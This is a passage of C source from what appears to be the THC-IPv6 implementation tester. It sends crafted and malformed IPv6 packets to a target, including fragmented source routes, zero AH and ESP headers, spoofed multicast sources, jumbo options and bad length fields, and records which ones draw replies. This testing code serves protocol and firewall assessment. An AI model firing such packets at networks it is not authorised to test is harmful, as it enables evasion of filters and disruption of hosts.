memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_dst(pkt3, &pkt_len3, (unsigned char *)&buf, 6) < 0) return -1; if (thc_add_hdr_fragment(pkt3, &pkt_len3, 0, 0, count)) return -1; memcpy(buf, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset); if (thc_add_data6(pkt3, &pkt_len3, NXT_ROUTE, buf, hdr->pkt_len - 40 - offset)) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt3, &pkt_len3); // ignore pkt3 = thc_destroy_packet(pkt3); /* lets see if it worked */ pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 1000, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: fragmentation hop-by-hop source-route\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; routers[0] = src6; // route via ourself, but routers[1] = NULL; // telling the target that this was already performed if (thc_add_hdr_route(pkt, &pkt_len, routers, 0) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 1220, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, src6, dst6, NXT_HDR, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 250, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: fragmentation destination source-route\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); buf[0] = NXT_IGNORE; buf[1] = 0; if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; routers[0] = src6; // route via ourself, but routers[1] = NULL; // telling the target that this was already performed if (thc_add_hdr_route(pkt, &pkt_len, routers, 0) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 1220, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, src6, dst6, NXT_DST, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - offset) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 250, 0, bla)) tests[count] = 1; } count++; /*** misc icmp solicitations ***/ if (test == 0 || test == count) { printf("Test %2d: node information\t\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); memcpy(buf, (char *)&count + _TAKE4, 4); memcpy(buf + 4, (char *)&count + _TAKE4, 4); memcpy(buf + 8, dst6, 16); thc_add_icmp6(pkt, &pkt_len, ICMP6_INFOREQUEST, 0, 0x00030000, (unsigned char *)&buf, 24, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_INFOREPLY, NXT_ICMP6, ICMP6_INFOREPLY, 0, 0, NULL)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: inverse neighbor solicitation\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 0x01; buf[1] = 0x01; memcpy(buf + 2, srcmac, 6); buf[8] = 0x02; buf[9] = 0x01; memcpy(buf + 10, dstmac, 6); thc_add_icmp6(pkt, &pkt_len, ICMP6_INVNEIGHBORSOL, 0, 0, (unsigned char *)&buf, 16, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_INVNEIGHBORADV, NXT_ICMP6, ICMP6_INVNEIGHBORADV, 0, 0, NULL)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: mobile prefix solicitation\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 0xc9; buf[1] = 16; memcpy(buf + 2, src6, 16); if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 18) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_MOBILE_PREFIXSOL, 0, count << 16, (unsigned char *)&buf, 18, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_MOBILE_PREFIXADV, NXT_ICMP6, ICMP6_MOBILE_PREFIXADV, 0, 0, NULL)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: certificate solicitation\t\t", count); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; i = count << 16; i += 0xffff; memset(buf, 0, sizeof(buf)); buf[0] = 15; buf[1] = 8; buf[2] = 1; buf[3] = 4; buf[4] = 1; buf[5] = '.'; thc_add_icmp6(pkt, &pkt_len, ICMP6_CERTPATHSOL, 0, i, (unsigned char *)&buf, 10, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_CERTPATHADV, NXT_ICMP6, ICMP6_CERTPATHADV, 0, 0, NULL)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: ping6 with a zero AH extension header\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); if (thc_add_hdr_misc(pkt, &pkt_len, NXT_AH, -1, (unsigned char *)&buf, 14) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; if (do_hdr_size != 0) hdr->pkt[do_hdr_size + 40 + 1] = 2; else hdr->pkt[14 + 40 + 1] = 2; thc_send_pkt(interface, pkt, &pkt_len); pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 0, bla)) tests[count] = 1; } count++; /* */ if (test == 0 || test == count) { printf("Test %2d: TCP-SYN(1) with a zero AH extension header\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); if (thc_add_hdr_misc(pkt, &pkt_len, NXT_AH, -1, (unsigned char *)&buf, 6) < 0) return -1; thc_add_tcp(pkt, &pkt_len, 1, 1, 1, 0, TCP_SYN, 5760, 0, NULL, 0, NULL, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 0, bla)) tests[count] = 1; } count++; /* */ if (test == 0 || test == count) { printf("Test %2d: extension header with two bytes of ping6\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); if (thc_add_hdr_misc(pkt, &pkt_len, NXT_DST, -1, (unsigned char *)&buf, 6) < 0) return -1; bla[0] = 128; bla[1] = 0; if (thc_add_data6(pkt, &pkt_len, NXT_ICMP6, (unsigned char *)&bla, 2) < 0) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: ping6 with a zero ESP extension header\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); if (thc_add_hdr_misc(pkt, &pkt_len, NXT_ESP, -1, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 130, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: ping from multicast (local!)\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, mcast6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); thc_pcap_close(p); p = thc_pcap_init(interface, string2); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla)) tests[count] = 1; thc_pcap_close(p); p = thc_pcap_init(interface, string); } count++; if (test == 0 || test == count) { printf("Test %2d: frag+source-route to link local\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; routers[0] = lsrc6; // route via ourself routers[1] = NULL; if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; if (thc_send_as_fragment6( interface, src6, dst6, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 130, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: frag+source-route to multicast\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; routers[0] = mcast6; routers[1] = NULL; if (thc_add_hdr_route(pkt, &pkt_len, routers, 1) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; hdr = (thc_ipv6_hdr *)pkt; if (thc_send_as_fragment6( interface, src6, dst6, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 130, 0, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: frag+srcroute from link local (local!)\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, lsrc6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; routers[0] = src6; routers[1] = NULL; if (thc_add_hdr_route(pkt, &pkt_len, routers, 0) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); thc_pcap_close(p); p = thc_pcap_init(interface, string2); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; if (thc_send_as_fragment6( interface, lsrc6, dst6, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla)) tests[count] = 1; thc_pcap_close(p); p = thc_pcap_init(interface, string); } count++; if (test == 0 || test == count) { printf("Test %2d: frag+srcroute from multicast (local!)\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, mcast6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; routers[0] = src6; routers[1] = NULL; if (thc_add_hdr_route(pkt, &pkt_len, routers, 0) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); thc_pcap_close(p); p = thc_pcap_init(interface, string2); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_as_fragment6( interface, mcast6, dst6, NXT_ROUTE, hdr->pkt + 40 + offset, hdr->pkt_len - 40 - offset, hdr->pkt_len > fragsize ? fragsize : (((hdr->pkt_len - 40 - 14) / 16) + 1) * 8) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ROUTE, NXT_ICMP6, NXT_ICMP6, ICMP6_PINGREPLY, 100, 0, bla)) tests[count] = 1; thc_pcap_close(p); p = thc_pcap_init(interface, string); } count++; if (test == 0 || test == count) { printf("Test %2d: direct neighbor solicitation\t\t", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); memcpy(buf, dst6, 16); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *)&buf, 16, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; if (check_for_reply_n(p, src6, dst6)) tests[count] = 1; pkt = thc_destroy_packet(pkt); } count++; if (test == 0 || test == count) { printf("Test %2d: direct neighbor solicitation ttl<255\t", count); memset(bla, count % 256, sizeof(bla)); memset(buf, 0, sizeof(buf)); memcpy(buf, dst6, 16); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 63, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0, 0, (unsigned char *)&buf, 16, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply_n(p, src6, dst6)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: filled ignore hop-by-hop option\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); i = 0; for (j = 0; j < 10; j++) { buf[i++] = NXT_IGNORE; // ignore, length buf[i++] = j; if (j > 0) { memset(buf + i, 0xaa, j); i += j; } } buf[i++] = 1; // padN, length 2 buf[i++] = 2; buf[i++] = count % 256; buf[i++] = count % 256; buf[i++] = 0; // pad1 if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, i) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: filled padding hop-by-hop option\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); i = 0; for (j = 0; j < 10; j++) { buf[i++] = 1; // ignore, length buf[i++] = j; if (j > 0) { memset(buf + i, 0, j); i += j; } } buf[i++] = 1; // padN, length 2 buf[i++] = 2; buf[i++] = 0; buf[i++] = 0; buf[i++] = 0; // pad1 if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, i) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; /* Testing hop-by-hop options does not make much sense as a reply usually will mean that the option is known, ignored or unknown. // hop: jumbo 0xc2|4|SIZE|SIZE|SIZE|SIZE // hop: router alert 5|2|0|0 // hop: quickstart 6|6|1|count%256|count%256|count%256|count%256|0 (rfc4782) // hop: calipso 7|16|0xff|0xff|0xff|0xff|2|0xff|crc|crc|0xff|0xff|0xff|0xff|0xff|0xff|0xff|0xff */ /* memset(buf, 0, sizeof(buf)); buf[0] = 7; buf[1] = 12; buf[2] = 0xff; buf[3] = 0xff; buf[4] = 0xff; buf[5] = 0xff; buf[6] = 1; buf[7] = 0xff; buf[8] = 0; buf[9] = 0; memset(buf + 10, 0xff, 8); i = calculate_checksum(buf, 18); buf[8] = i / 256; buf[9] = i % 256; */ if (test == 0 || test == count) { printf("Test %2d: filled ignore destination option\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); i = 0; for (j = 0; j < 10; j++) { buf[i++] = NXT_IGNORE; // ignore, length buf[i++] = j; if (j > 0) { memset(buf + i, 0xaa, j); i += j; } } /* buf[i++] = 0xc9; // mobility, length 16 buf[i++] = 16; memcpy(buf+i, src6, 16); i += 16; buf[i++] = 4; // tunnel max encaps, length 1 buf[i++] = 1; buf[i++] = 0; */ buf[i++] = 1; // padN, length 2 buf[i++] = 2; buf[i++] = count % 256; buf[i++] = count % 256; buf[i++] = 0; // pad1 if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, i) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: filled padding destination option\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); i = 0; for (j = 0; j < 10; j++) { buf[i++] = 1; // ignore, length buf[i++] = j; if (j > 0) { memset(buf + i, 0, j); i += j; } } buf[i++] = 1; // padN, length 2 buf[i++] = 2; buf[i++] = 0; buf[i++] = 0; buf[i++] = 0; // pad1 if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, i) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_generate_and_send_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; // dst: mobility 0xc9|0x10|src6 // dst: tunnel max encapsulation 4|1|1 if (test == 0 || test == count) { printf("Test %2d: jumbo option size < 64k\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 0xc2; buf[1] = 4; buf[5] = 166; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: jumbo option size < 64k, length 0\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 0xc2; buf[1] = 4; buf[5] = 166; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; i = offset; hdr->pkt[4 + i] = 0; // set ip length to 0 hdr->pkt[5 + i] = 0; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: error option in hop-by-hop\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 0xc3; buf[1] = 4; buf[5] = 166; if (thc_add_hdr_hopbyhop(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: error option in dsthdr\t\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; memset(buf, 0, sizeof(buf)); buf[0] = 0xc3; buf[1] = 4; buf[5] = 166; if (thc_add_hdr_dst(pkt, &pkt_len, (unsigned char *)&buf, 6) < 0) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: 0 length field\t\t\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; i = offset; hdr->pkt[4 + i] = 0; // set ip length to 0 hdr->pkt[5 + i] = 0; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) tests[count] = 1; } count++; if (test == 0 || test == count) { printf("Test %2d: too large length field\t\t\t", count); memset(bla, count % 256, sizeof(bla)); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, src6, dst6, 255, 0, count, 0, 0)) == NULL) return -1; thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, count, (unsigned char *)&bla, 150, 0); if (thc_generate_pkt(interface, srcmac, dstmac, pkt, &pkt_len) < 0) return -1; hdr = (thc_ipv6_hdr *)pkt; i = offset; hdr->pkt[4 + i] = 1; // set ip length to 0 hdr->pkt[5 + i] = 0; while (thc_pcap_check(p, (char *)ignoreit, NULL) > 0) ; if (thc_send_pkt(interface, pkt, &pkt_len) < 0) return -1; pkt = thc_destroy_packet(pkt); if (check_for_reply(p, NXT_ICMP6, ICMP6_PINGREPLY, NXT_ICMP6, ICMP6_PINGREPLY, 140, 140 + i, bla)) 